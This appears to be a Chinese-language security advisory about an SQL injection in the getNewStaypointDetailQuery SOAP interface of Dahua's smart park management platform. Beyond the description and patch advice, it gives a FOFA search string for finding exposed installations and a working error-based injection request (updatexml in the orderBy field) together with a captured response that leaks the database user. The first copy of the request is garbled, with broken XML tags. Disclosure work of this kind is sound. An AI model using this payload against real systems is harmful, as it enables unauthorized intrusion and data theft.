

关于大华智慧园区综合管理平台 getNewStaypointDetailQuery SQL注入漏洞预警

漏洞描述

由于大华智慧园区综合管理平台getNewStaypointDetailQuery接口处未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现SQL注入漏洞。远程未授权攻击者可利用此漏洞获取敏感信息，进一步利用可能获取目标系统权限。

影响范围

大华智慧园区综合管理平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

FOFA: app="dahua-智慧园区综合管理平台"

POC/EXP:

POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1

Host: 127.0.0.1:9080

User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/70.0.3538.77 Safari/537.36

Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com">
 soapenv:Header/
 soapenv:Body
 car:getNewStaypointDetailQuery

{

{ "orderBy": "1 and 1=updatexml(1,concat(0x7e,(select user()),0x7e),1)--" }

quae divum incedo
/car:getNewStaypointDetailQuery
/soapenv:Body
</soapenv:Envelope

报错查用户

原始 HTTP 请求	原始 HTTP 响应
<pre>1 POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1 2 Host: 200.0.0.0:9080 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 4 Content-Type: text/xml; charset=UTF-8 5 6 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com"> 7 <soapenv:Header/> 8 <soapenv:Body> 9 <car:getNewStaypointDetailQuery> 10 <!--type: string--> 11 <searchJson>{}</searchJson> 12 <!--type: string--> 13 <pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,(select user()),0x7e),1)--"}</pageJson> 14 <!--type: string--> 15 <extend>quae divum incedo</extend> 16 </car:getNewStaypointDetailQuery> 17 </soapenv:Body> 18 </soapenv:Envelope></pre>	<pre>1 HTTP/1.1 500 Internal Server Error 2 Server: nginx 3 Date: Thu, 14 Mar 2024 09:40:51 GMT 4 Content-Type: text/xml; charset=utf-8 5 Connection: keep-alive 6 Content-Length: 787 7 8 <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <soap:Fault> <faultcode>soap:Server <faultcode><faultstring>PreparedStatementCallback: uncategorized SQLException for SQL: [select /*+INDEX(t1 IDX_CP_CARNUM)*/ t1.*, t1.car_img1_url as car_img1_url, t1.car_img2_url as car_img2_url, t1.car_img3_url as car_img3_url, t1.car_img4_url as car_img4_url, t1.car_img5_url as car_img5_url, date_format(t1.cap_date, '%Y-%m-%d %H:%i:%s') as cap_date_str from c_picrecord t1 where 1=1 -- order by 1 and 1=updatexml(1,concat(0x7e,(select user()),0x7e),1) -- asc limit -1,-1]; SQL state: [HY000]; error code: [1105]; XPATH syntax error: '~mysql@127.0.0.1'; nested exception is java.sql.SQLException: XPATH syntax error: '~mysql@127.0.0.1-'</faultstring> </soap:Fault> </soap:Body> </soap:Envelope></pre>
Request Headers	Response Headers

修复方案

官方修复：

限制访问来源地址，如非必要，不要将系统开放在互联网上。

升级至安全版本